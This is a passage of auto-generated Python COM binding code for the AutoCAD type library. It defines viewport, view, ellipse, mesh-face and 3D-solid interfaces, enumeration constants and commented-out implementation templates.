def _set(self, bSuppress):\n## '-no docstring-'\n## DimLine1Suppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bSuppress\n## def _set(self, bSuppress):\n## '-no docstring-'\n## DimLine2Suppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bSuppress\n## def _set(self, bSuppress):\n## '-no docstring-'\n## ExtLine1Suppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bSuppress\n## def _set(self, bSuppress):\n## '-no docstring-'\n## ExtLine2Suppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## DimLineInside = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## TextInsideAlign = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## TextInside = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## ForceLineInside = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## TextOutsideAlign = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Offset\n## def _set(self, Offset):\n## '-no docstring-'\n## ExtensionLineOffset = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressLeadingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressTrailingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressLeadingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressTrailingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## SuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## SuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## ToleranceSuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## ToleranceSuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return weight\n## def _set(self, weight):\n## '-no docstring-'\n## DimensionLineWeight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return size\n## def _set(self, size):\n## '-no docstring-'\n## ArrowheadSize = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## Arrowhead1Type = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## Arrowhead2Type = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Measurement(self):\n## '-no docstring-'\n## #return bVal\n##\n## def _get(self):\n## '-no docstring-'\n## #return BlockName\n## def _set(self, BlockName):\n## '-no docstring-'\n## Arrowhead1Block = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return BlockName\n## def _set(self, BlockName):\n## '-no docstring-'\n## Arrowhead2Block = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Linetype\n## def _set(self, Linetype):\n## '-no docstring-'\n## DimensionLinetype = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Linetype\n## def _set(self, Linetype):\n## '-no docstring-'\n## ExtLine1Linetype = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Linetype\n## def _set(self, Linetype):\n## '-no docstring-'\n## ExtLine2Linetype = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bFixedLen\n## def _set(self, bFixedLen):\n## '-no docstring-'\n## ExtLineFixedLenSuppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return FixedLen\n## def _set(self, FixedLen):\n## '-no docstring-'\n## ExtLineFixedLen = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bIsDynamic\n## def _set(self, bIsDynamic):\n## '-no docstring-'\n## DimConstrForm = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bIsReference\n## def _set(self, bIsReference):\n## '-no docstring-'\n## DimConstrReference = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## DimConstrName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrExpression\n## def _set(self, bstrExpression):\n## '-no docstring-'\n## DimConstrExpression = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Value\n## def _set(self, Value):\n## '-no docstring-'\n## DimConstrValue = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrDescription\n## def _set(self, bstrDescription):\n## '-no docstring-'\n## DimConstrDesc = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return suffix\n## def _set(self, suffix):\n## '-no docstring-'\n## SubUnitsSuffix = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return factor\n## def _set(self, factor):\n## '-no docstring-'\n## SubUnitsFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return suffix\n## def _set(self, suffix):\n## '-no docstring-'\n## AltSubUnitsSuffix = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return factor\n## def _set(self, factor):\n## '-no docstring-'\n## AltSubUnitsFactor = property(_get, _set, doc = _set.__doc__)\n##\n\n\n# values for enumeration 'AcMenuGroupType'\nacBaseMenuGroup = 0\nacPartialMenuGroup = 1\nAcMenuGroupType = c_int # enum\n\n# values for enumeration 'AcPlotOrientation'\nacPlotOrientationPortrait = 0\nacPlotOrientationLandscape = 1\nAcPlotOrientation = c_int # enum\nIAcadViewport._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Center',\n ( ['out', 'retval'], POINTER(VARIANT), 'Center' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Center',\n ( ['in'], VARIANT, 'Center' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'Height',\n ( ['out', 'retval'], POINTER(c_double), 'Height' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'Height',\n ( ['in'], c_double, 'Height' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'Width',\n ( ['out', 'retval'], POINTER(c_double), 'Width' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'Width',\n ( ['in'], c_double, 'Width' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'Target',\n ( ['out', 'retval'], POINTER(VARIANT), 'targetPoint' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'Target',\n ( ['in'], VARIANT, 'targetPoint' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'Direction',\n ( ['out', 'retval'], POINTER(VARIANT), 'dirVec' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'Direction',\n ( ['in'], VARIANT, 'dirVec' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'Name',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'Name',\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'GridOn',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bGridOn' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'GridOn',\n ( ['in'], VARIANT_BOOL, 'bGridOn' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'OrthoOn',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bOrthoOn' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'OrthoOn',\n ( ['in'], VARIANT_BOOL, 'bOrthoOn' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'SnapBasePoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'lowLeft' )),\n COMMETHOD([dispid(9), 'propput'], HRESULT, 'SnapBasePoint',\n ( ['in'], VARIANT, 'lowLeft' )),\n COMMETHOD([dispid(10), 'propget'], HRESULT, 'SnapOn',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bSnapOn' )),\n COMMETHOD([dispid(10), 'propput'], HRESULT, 'SnapOn',\n ( ['in'], VARIANT_BOOL, 'bSnapOn' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'SnapRotationAngle',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'Angle' )),\n COMMETHOD([dispid(11), 'propput'], HRESULT, 'SnapRotationAngle',\n ( ['in'], ACAD_ANGLE, 'Angle' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'UCSIconOn',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bIconOn' )),\n COMMETHOD([dispid(13), 'propput'], HRESULT, 'UCSIconOn',\n ( ['in'], VARIANT_BOOL, 'bIconOn' )),\n COMMETHOD([dispid(14), 'propget'], HRESULT, 'UCSIconAtOrigin',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bIconAtOrigin' )),\n COMMETHOD([dispid(14), 'propput'], HRESULT, 'UCSIconAtOrigin',\n ( ['in'], VARIANT_BOOL, 'bIconAtOrigin' )),\n COMMETHOD([dispid(15), 'propget'], HRESULT, 'LowerLeftCorner',\n ( ['out', 'retval'], POINTER(VARIANT), 'lowLeft' )),\n COMMETHOD([dispid(16), 'propget'], HRESULT, 'UpperRightCorner',\n ( ['out', 'retval'], POINTER(VARIANT), 'UpperRight' )),\n COMMETHOD([dispid(17)], HRESULT, 'Split',\n ( ['in'], AcViewportSplitType, 'NumWins' )),\n COMMETHOD([dispid(18)], HRESULT, 'GetGridSpacing',\n ( ['out'], POINTER(c_double), 'XSpacing' ),\n ( ['out'], POINTER(c_double), 'YSpacing' )),\n COMMETHOD([dispid(19)], HRESULT, 'SetGridSpacing',\n ( ['in'], c_double, 'XSpacing' ),\n ( ['in'], c_double, 'YSpacing' )),\n COMMETHOD([dispid(20)], HRESULT, 'GetSnapSpacing',\n ( ['out'], POINTER(c_double), 'XSpacing' ),\n ( ['out'], POINTER(c_double), 'YSpacing' )),\n COMMETHOD([dispid(21)], HRESULT, 'SetSnapSpacing',\n ( ['in'], c_double, 'XSpacing' ),\n ( ['in'], c_double, 'YSpacing' )),\n COMMETHOD([dispid(22)], HRESULT, 'SetView',\n ( ['in'], POINTER(IAcadView), 'View' )),\n COMMETHOD([dispid(23), 'propget'], HRESULT, 'ArcSmoothness',\n ( ['out', 'retval'], POINTER(c_int), 'arcSmooth' )),\n COMMETHOD([dispid(23), 'propput'], HRESULT, 'ArcSmoothness',\n ( ['in'], c_int, 'arcSmooth' )),\n]\n################################################################\n## code template for IAcadViewport implementation\n##class IAcadViewport_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return Center\n## def _set(self, Center):\n## '-no docstring-'\n## Center = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Height\n## def _set(self, Height):\n## '-no docstring-'\n## Height = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Width\n## def _set(self, Width):\n## '-no docstring-'\n## Width = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return targetPoint\n## def _set(self, targetPoint):\n## '-no docstring-'\n## Target = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return dirVec\n## def _set(self, dirVec):\n## '-no docstring-'\n## Direction = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## Name = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bGridOn\n## def _set(self, bGridOn):\n## '-no docstring-'\n## GridOn = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bOrthoOn\n## def _set(self, bOrthoOn):\n## '-no docstring-'\n## OrthoOn = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return lowLeft\n## def _set(self, lowLeft):\n## '-no docstring-'\n## SnapBasePoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bSnapOn\n## def _set(self, bSnapOn):\n## '-no docstring-'\n## SnapOn = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Angle\n## def _set(self, Angle):\n## '-no docstring-'\n## SnapRotationAngle = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bIconOn\n## def _set(self, bIconOn):\n## '-no docstring-'\n## UCSIconOn = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bIconAtOrigin\n## def _set(self, bIconAtOrigin):\n## '-no docstring-'\n## UCSIconAtOrigin = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def LowerLeftCorner(self):\n## '-no docstring-'\n## #return lowLeft\n##\n## @property\n## def UpperRightCorner(self):\n## '-no docstring-'\n## #return UpperRight\n##\n## def Split(self, NumWins):\n## '-no docstring-'\n## #return \n##\n## def GetGridSpacing(self):\n## '-no docstring-'\n## #return XSpacing, YSpacing\n##\n## def SetGridSpacing(self, XSpacing, YSpacing):\n## '-no docstring-'\n## #return \n##\n## def GetSnapSpacing(self):\n## '-no docstring-'\n## #return XSpacing, YSpacing\n##\n## def SetSnapSpacing(self, XSpacing, YSpacing):\n## '-no docstring-'\n## #return \n##\n## def SetView(self, View):\n## '-no docstring-'\n## #return \n##\n## def _get(self):\n## '-no docstring-'\n## #return arcSmooth\n## def _set(self, arcSmooth):\n## '-no docstring-'\n## ArcSmoothness = property(_get, _set, doc = _set.__doc__)\n##\n\n\n# values for enumeration 'AcActiveSpace'\nacPaperSpace = 0\nacModelSpace = 1\nAcActiveSpace = c_int # enum\n\n# values for enumeration 'AcPlotType'\nacDisplay = 0\nacExtents = 1\nacLimits = 2\nacView = 3\nacWindow = 4\nacLayout = 5\nAcPlotType = c_int # enum\n\n# values for enumeration 'AcToolbarDockStatus'\nacToolbarDockTop = 0\nacToolbarDockBottom = 1\nacToolbarDockLeft = 2\nacToolbarDockRight = 3\nacToolbarFloating = 4\nAcToolbarDockStatus = c_int # enum\n\n# values for enumeration 'AcToolbarItemType'\nacToolbarButton = 0\nacToolbarSeparator = 1\nacToolbarControl = 2\nacToolbarFlyout = 3\nAcToolbarItemType = c_int # enum\nIAcadViews._methods_ = [\n COMMETHOD([dispid(0)], HRESULT, 'Item',\n ( ['in'], VARIANT, 'Index' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadView)), 'pItem' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Count',\n ( ['out', 'retval'], POINTER(c_int), 'pCount' )),\n COMMETHOD([dispid(-4), 'restricted', 'hidden', 'propget'], HRESULT, '_NewEnum',\n ( ['out', 'retval'], POINTER(POINTER(IUnknown)), 'pVal' )),\n COMMETHOD([dispid(2)], HRESULT, 'Add',\n ( ['in'], BSTR, 'Name' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadView)), 'pRegApp' )),\n]\n################################################################\n## code template for IAcadViews implementation\n##class IAcadViews_Impl(object):\n## def Item(self, Index):\n## '-no docstring-'\n## #return pItem\n##\n## @property\n## def Count(self):\n## '-no docstring-'\n## #return pCount\n##\n## @property\n## def _NewEnum(self):\n## '-no docstring-'\n## #return pVal\n##\n## def Add(self, Name):\n## '-no docstring-'\n## #return pRegApp\n##\n\n\n# values for enumeration 'AcDrawingAreaSCMEdit'\nacEdRepeatLastCommand = 0\nacEdSCM = 1\nAcDrawingAreaSCMEdit = c_int # enum\nclass IAcadSubDMeshFace(IAcadSubEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{30D323CE-FAFA-40F2-AB64-FB1D53957A18}')\n _idlflags_ = ['dual', 'oleautomation']\n\n# values for enumeration 'AcMeshCreaseType'\nacNoneCrease = 0\nacAlwaysCrease = 1\nacCreaseByLevel = 2\nAcMeshCreaseType = c_int # enum\nIAcadSubDMeshFace._methods_ = [\n COMMETHOD([dispid(1399), 'propget'], HRESULT, 'Material',\n ( ['out', 'retval'], POINTER(BSTR), 'Material' )),\n COMMETHOD([dispid(1399), 'propput'], HRESULT, 'Material',\n ( ['in'], BSTR, 'Material' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'CreaseType',\n ( ['out', 'retval'], POINTER(AcMeshCreaseType), 'Type' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'CreaseType',\n ( ['in'], AcMeshCreaseType, 'Type' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'CreaseLevel',\n ( ['out', 'retval'], POINTER(c_double), 'level' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'CreaseLevel',\n ( ['in'], c_double, 'level' )),\n]\n################################################################\n## code template for IAcadSubDMeshFace implementation\n##class IAcadSubDMeshFace_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return Material\n## def _set(self, Material):\n## '-no docstring-'\n## Material = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## CreaseType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return level\n## def _set(self, level):\n## '-no docstring-'\n## CreaseLevel = property(_get, _set, doc = _set.__doc__)\n##\n\n\n# values for enumeration 'AcDrawingAreaSCMCommand'\nacEnter = 0\nacEnableSCMOptions = 1\nacEnableSCM = 2\nAcDrawingAreaSCMCommand = c_int # enum\nclass AcadSubDMesh(CoClass):\n _reg_clsid_ = GUID('{F4EAB5FF-5C4A-43BC-BA19-9C95C519D8AC}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadSubDMesh._com_interfaces_ = [IAcadSubDMesh]\nAcadSubDMesh._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass IAcadEllipse(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{505E1E54-2BE5-4EFC-9F38-40AF8150A70C}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadEllipse._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'StartPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'StartPoint' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'Center',\n ( ['out', 'retval'], POINTER(VARIANT), 'Center' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'Center',\n ( ['in'], VARIANT, 'Center' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'EndPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'EndPoint' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'MajorRadius',\n ( ['out', 'retval'], POINTER(c_double), 'MajorRadius' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'MajorRadius',\n ( ['in'], c_double, 'MajorRadius' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'MinorRadius',\n ( ['out', 'retval'], POINTER(c_double), 'MinorRadius' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'MinorRadius',\n ( ['in'], c_double, 'MinorRadius' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'RadiusRatio',\n ( ['out', 'retval'], POINTER(c_double), 'RadiusRatio' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'RadiusRatio',\n ( ['in'], c_double, 'RadiusRatio' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'StartAngle',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'StartAngle' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'StartAngle',\n ( ['in'], ACAD_ANGLE, 'StartAngle' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'EndAngle',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'EndAngle' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'EndAngle',\n ( ['in'], ACAD_ANGLE, 'EndAngle' )),\n COMMETHOD([dispid(9), 'nonbrowsable', 'propget'], HRESULT, 'StartParameter',\n ( ['out', 'retval'], POINTER(c_double), 'StartParameter' )),\n COMMETHOD([dispid(9), 'nonbrowsable', 'propput'], HRESULT, 'StartParameter',\n ( ['in'], c_double, 'StartParameter' )),\n COMMETHOD([dispid(10), 'nonbrowsable', 'propget'], HRESULT, 'EndParameter',\n ( ['out', 'retval'], POINTER(c_double), 'EndParameter' )),\n COMMETHOD([dispid(10), 'nonbrowsable', 'propput'], HRESULT, 'EndParameter',\n ( ['in'], c_double, 'EndParameter' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'MajorAxis',\n ( ['out', 'retval'], POINTER(VARIANT), 'MajorAxis' )),\n COMMETHOD([dispid(11), 'propput'], HRESULT, 'MajorAxis',\n ( ['in'], VARIANT, 'MajorAxis' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'MinorAxis',\n ( ['out', 'retval'], POINTER(VARIANT), 'MinorAxis' )),\n COMMETHOD([dispid(13), 'nonbrowsable', 'propget'], HRESULT, 'Normal',\n ( ['out', 'retval'], POINTER(VARIANT), 'Normal' )),\n COMMETHOD([dispid(13), 'nonbrowsable', 'propput'], HRESULT, 'Normal',\n ( ['in'], VARIANT, 'Normal' )),\n COMMETHOD([dispid(14), 'propget'], HRESULT, 'Area',\n ( ['out', 'retval'], POINTER(c_double), 'Area' )),\n COMMETHOD([dispid(15)], HRESULT, 'Offset',\n ( ['in'], c_double, 'Distance' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pOffsetCurves' )),\n]\n################################################################\n## code template for IAcadEllipse implementation\n##class IAcadEllipse_Impl(object):\n## @property\n## def StartPoint(self):\n## '-no docstring-'\n## #return StartPoint\n##\n## def _get(self):\n## '-no docstring-'\n## #return Center\n## def _set(self, Center):\n## '-no docstring-'\n## Center = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def EndPoint(self):\n## '-no docstring-'\n## #return EndPoint\n##\n## def _get(self):\n## '-no docstring-'\n## #return MajorRadius\n## def _set(self, MajorRadius):\n## '-no docstring-'\n## MajorRadius = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return MinorRadius\n## def _set(self, MinorRadius):\n## '-no docstring-'\n## MinorRadius = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return RadiusRatio\n## def _set(self, RadiusRatio):\n## '-no docstring-'\n## RadiusRatio = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return StartAngle\n## def _set(self, StartAngle):\n## '-no docstring-'\n## StartAngle = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return EndAngle\n## def _set(self, EndAngle):\n## '-no docstring-'\n## EndAngle = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return StartParameter\n## def _set(self, StartParameter):\n## '-no docstring-'\n## StartParameter = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return EndParameter\n## def _set(self, EndParameter):\n## '-no docstring-'\n## EndParameter = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return MajorAxis\n## def _set(self, MajorAxis):\n## '-no docstring-'\n## MajorAxis = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def MinorAxis(self):\n## '-no docstring-'\n## #return MinorAxis\n##\n## def _get(self):\n## '-no docstring-'\n## #return Normal\n## def _set(self, Normal):\n## '-no docstring-'\n## Normal = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Area(self):\n## '-no docstring-'\n## #return Area\n##\n## def Offset(self, Distance):\n## '-no docstring-'\n## #return pOffsetCurves\n##\n\n\n# values for enumeration 'AcShadePlot'\nacShadePlotAsDisplayed = 0\nacShadePlotWireframe = 1\nacShadePlotHidden = 2\nacShadePlotRendered = 3\nAcShadePlot = c_int # enum\nIAcad3DSolid._methods_ = [\n COMMETHOD([dispid(1), 'nonbrowsable', 'propget'], HRESULT, 'Centroid',\n ( ['out', 'retval'], POINTER(VARIANT), 'Centroid' )),\n COMMETHOD([dispid(2), 'nonbrowsable', 'propget'], HRESULT, 'MomentOfInertia',\n ( ['out', 'retval'], POINTER(VARIANT), 'momentInertia' )),\n COMMETHOD([dispid(3), 'nonbrowsable', 'propget'], HRESULT, 'PrincipalDirections',\n ( ['out', 'retval'], POINTER(VARIANT), 'prinDir' )),\n COMMETHOD([dispid(4), 'nonbrowsable', 'propget'], HRESULT, 'PrincipalMoments',\n ( ['out', 'retval'], POINTER(VARIANT), 'prinMoments' )),\n COMMETHOD([dispid(5), 'nonbrowsable', 'propget'], HRESULT, 'ProductOfInertia',\n ( ['out', 'retval'], POINTER(VARIANT), 'prodInertia' )),\n COMMETHOD([dispid(6), 'nonbrowsable', 'propget'], HRESULT, 'RadiiOfGyration',\n ( ['out', 'retval'], POINTER(VARIANT), 'radiiGyration' )),\n COMMETHOD([dispid(7), 'nonbrowsable', 'propget'], HRESULT, 'Volume',\n ( ['out', 'retval'], POINTER(c_double), 'Volume' )),\n COMMETHOD([dispid(8)], HRESULT, 'Boolean',\n ( ['in'], AcBooleanType, 'Operation' ),\n ( ['in'], POINTER(IAcad3DSolid), 'SolidObject' )),\n COMMETHOD([dispid(9)], HRESULT, 'CheckInterference',\n ( ['in'], POINTER(IAcad3DSolid), 'Object' ),\n ( ['in'], VARIANT_BOOL, 'CreateInterferenceSolid' ),\n ( ['out'], POINTER(VARIANT_BOOL), 'SolidsInterfere' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcad3DSolid)), 'pIntSolid' )),\n COMMETHOD([dispid(10)], HRESULT, 'SectionSolid',\n ( ['in'], VARIANT, 'Point1' ),\n ( ['in'], VARIANT, 'Point2' ),\n ( ['in'], VARIANT, 'point3' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadRegion)), 'pRegion' )),\n COMMETHOD([dispid(11)], HRESULT, 'SliceSolid',\n ( ['in'], VARIANT, 'Point1' ),\n ( ['in'], VARIANT, 'Point2' ),\n ( ['in'], VARIANT, 'point3' ),\n ( ['in'], VARIANT_BOOL, 'Negative' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcad3DSolid)), 'pNegSideSolid' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'SolidType',\n ( ['out', 'retval'], POINTER(BSTR), 'SolidType' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'Position',\n ( ['out', 'retval'], POINTER(VARIANT), 'Position' )),\n COMMETHOD([dispid(13), 'propput'], HRESULT, 'Position',\n ( ['in'], VARIANT, 'Position' )),\n COMMETHOD([dispid(14), 'propget'], HRESULT, 'History',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bHistory' )),\n COMMETHOD([dispid(14), 'propput'], HRESULT, 'History',\n ( ['in'], VARIANT_BOOL, 'bHistory' )),\n COMMETHOD([dispid(15), 'propget'], HRESULT, 'ShowHistory',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'Position' )),\n COMMETHOD([dispid(15), 'propput'], HRESULT, 'ShowHistory',\n ( ['in'], VARIANT_BOOL, 'Position' )),\n]\n################################################################\n## code template for 